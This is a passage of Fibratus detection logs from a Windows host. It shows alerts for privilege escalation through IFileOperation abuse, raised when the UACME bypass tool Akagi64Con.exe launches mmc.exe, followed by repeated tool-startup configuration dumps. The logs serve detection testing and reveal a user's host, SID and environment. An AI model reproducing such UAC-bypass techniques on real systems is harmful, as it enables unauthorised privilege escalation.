tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 4000 + Ppid: 11980 + Name: Dism.exe + Parent name: PkgMgr.exe + Cmdline: "C:\WINDOWS\system32\dism.exe" /online /quiet /norestart /add-package /packagepath:"C:\WINDOWS\system32\pe386" /ignorecheck + Parent cmdline: "C:\WINDOWS\system32\pkgmgr.exe" /ip /m:pe386 /quiet + Exe: C:\WINDOWS\system32\dism.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\dism.exe" /online /quiet /norestart /add-package /packagepath:"C:\WINDOWS\system32\pe386" /ignorecheck] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-21T12:01:25+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 1248437 + Pid: 6828 + Tid: 17320 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-21 12:01:20.9623541 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffbc88f6074490, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffbc88f21f20f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 17320, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\wbem\ATL + + Pid: 6828 + Ppid: 1232 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 1264196 + Pid: 3856 + Tid: 1868 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-21 12:01:21.5705472 +0100 CET + Params: base_address➜ 7ffa40330000, checksum➜ 38076, default_address➜ 7ffa40330000, file_path➜ C:\Windows\System32\wbem\ATL.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3856, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: rule.seq.link: C:\Windows\System32\wbem\ATL, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 3856 + Ppid: 15604 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" WmiMgmt.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 77 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" WmiMgmt.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-21T12:02:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:02:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:02:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:04:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:04:52+01:00 level=info msg=bootstrapping with pid 16936. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:04:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-fileio=>true flush-interval=>1s enable-mem=>false stack-enrichment=>true enable-audit-api=>true enable-vamap=>true enable-image=>true enable-dns=>false enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 max-buffers=>36 enable-threadpool=>false enable-thread=>true buffer-size=>512 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 level=>info max-size=>100 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ vhost=>/ url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus durable=>false exchange-type=>topic exchange=>fibratus passive=>false] http=>[ timeout=>5s enabled=>false serializer=>json tls-insecure-skip-verify=>false method=>POST enable-gzip=>false endpoints=>[]] elasticsearch=>[ sniff=>false index-name=>fibratus healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true bulk-workers=>1 gzip-compression=>false enabled=>false healthcheck-interval=>10s trace-log=>false flush-period=>1s template-name=>fibratus] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s enabled=>false excluded-files=>[] skip-mmaps=>false skip-files=>false fastscan=>true skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:04:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:04:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:05:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:05:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:05:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:08:36+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:08:36+01:00 level=info msg=bootstrapping with pid 15628. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:08:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ to=>[] use-template=>true content-type=>text/html port=>25 enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true flush-interval=>1s enable-audit-api=>true buffer-size=>512 min-buffers=>16 max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-threadpool=>false enable-fileio=>true enable-mem=>false stack-enrichment=>true enable-thread=>true enable-dns=>false enable-net=>true enable-handle=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-size=>100 log-stdout=>true max-age=>0 max-backups=>15] + output ......................... [ http=>[ timeout=>5s enabled=>false serializer=>json enable-gzip=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false] amqp=>[ durable=>false timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false exchange=>fibratus exchange-type=>topic delivery-mode=>transient passive=>false url=>amqp://localhost:5672 vhost=>/] elasticsearch=>[ enabled=>false healthcheck-interval=>10s template-name=>fibratus healthcheck-timeout=>5s sniff=>false index-name=>fibratus flush-period=>1s trace-log=>false bulk-workers=>1 gzip-compression=>false healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200]] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false fastscan=>true skip-files=>false enabled=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:08:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:08:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:08:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:08:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:08:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:09:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:09:18+01:00 level=info msg=bootstrapping with pid 5660. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:09:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true enable-fileio=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-vamap=>true flush-interval=>1s enable-image=>true enable-threadpool=>false enable-thread=>true stack-enrichment=>true min-buffers=>16 enable-mem=>false enable-dns=>false enable-handle=>false max-buffers=>36 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ method=>POST endpoints=>[] timeout=>5s enabled=>false serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ routing-key=>fibratus durable=>false exchange=>fibratus passive=>false delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672 exchange-type=>topic vhost=>/ timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ sniff=>false timeout=>5s enabled=>false index-name=>fibratus bulk-workers=>1 healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus gzip-compression=>false flush-period=>1s trace-log=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-mmaps=>false skip-registry=>false excluded-files=>[] enabled=>false fastscan=>true skip-allocs=>false excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:09:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:09:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:10:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:10:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:10:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:10:32+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:10:32+01:00 level=info msg=bootstrapping with pid 6920. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:10:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true enable-image=>true enable-fileio=>true enable-handle=>false flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false stack-enrichment=>true buffer-size=>512 min-buffers=>16 enable-threadpool=>false max-buffers=>36 enable-mem=>false enable-net=>true enable-vamap=>true enable-registry=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s trace-log=>false bulk-workers=>1 enabled=>false template-name=>fibratus timeout=>5s sniff=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ vhost=>/ exchange=>fibratus timeout=>5s enabled=>false durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false method=>POST serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false enabled=>false skip-allocs=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[] skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:10:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:10:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:11:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:11:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:11:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:12:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:12:46+01:00 level=info msg=bootstrapping with pid 14644. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:12:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-vamap=>true flush-interval=>1s enable-dns=>false max-buffers=>36 enable-registry=>true stack-enrichment=>true enable-threadpool=>false enable-thread=>true buffer-size=>512 enable-net=>true enable-audit-api=>true min-buffers=>16 enable-mem=>false enable-handle=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false healthcheck-interval=>10s sniff=>false index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] gzip-compression=>false template-name=>fibratus trace-log=>false healthcheck-timeout=>5s timeout=>5s flush-period=>1s bulk-workers=>1] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ routing-key=>fibratus passive=>false url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient exchange=>fibratus vhost=>/ exchange-type=>topic durable=>false timeout=>5s tls-insecure-skip-verify=>false] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false endpoints=>[] serializer=>json timeout=>5s method=>POST]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-files=>false enabled=>false skip-mmaps=>false scan-timeout=>10s skip-allocs=>false excluded-procs=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:12:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:12:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:13:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:13:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:13:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:13:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:13:13+01:00 level=info msg=bootstrapping with pid 17200. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:13:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] enabled=>false use-template=>true content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-net=>true enable-image=>true enable-vamap=>true enable-handle=>false enable-thread=>true enable-threadpool=>false enable-mem=>false flush-interval=>1s enable-audit-api=>true enable-fileio=>true buffer-size=>512 enable-registry=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text log-stdout=>true level=>info max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false timeout=>5s enable-gzip=>false endpoints=>[]] elasticsearch=>[ trace-log=>false timeout=>5s sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck=>true flush-period=>1s enabled=>false healthcheck-interval=>10s template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus] amqp=>[ exchange-type=>topic durable=>false timeout=>5s tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false routing-key=>fibratus exchange=>fibratus vhost=>/ delivery-mode=>transient passive=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-files=>false skip-allocs=>false fastscan=>true enabled=>false excluded-procs=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:13:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:13:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:28:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:28:24+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:28:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 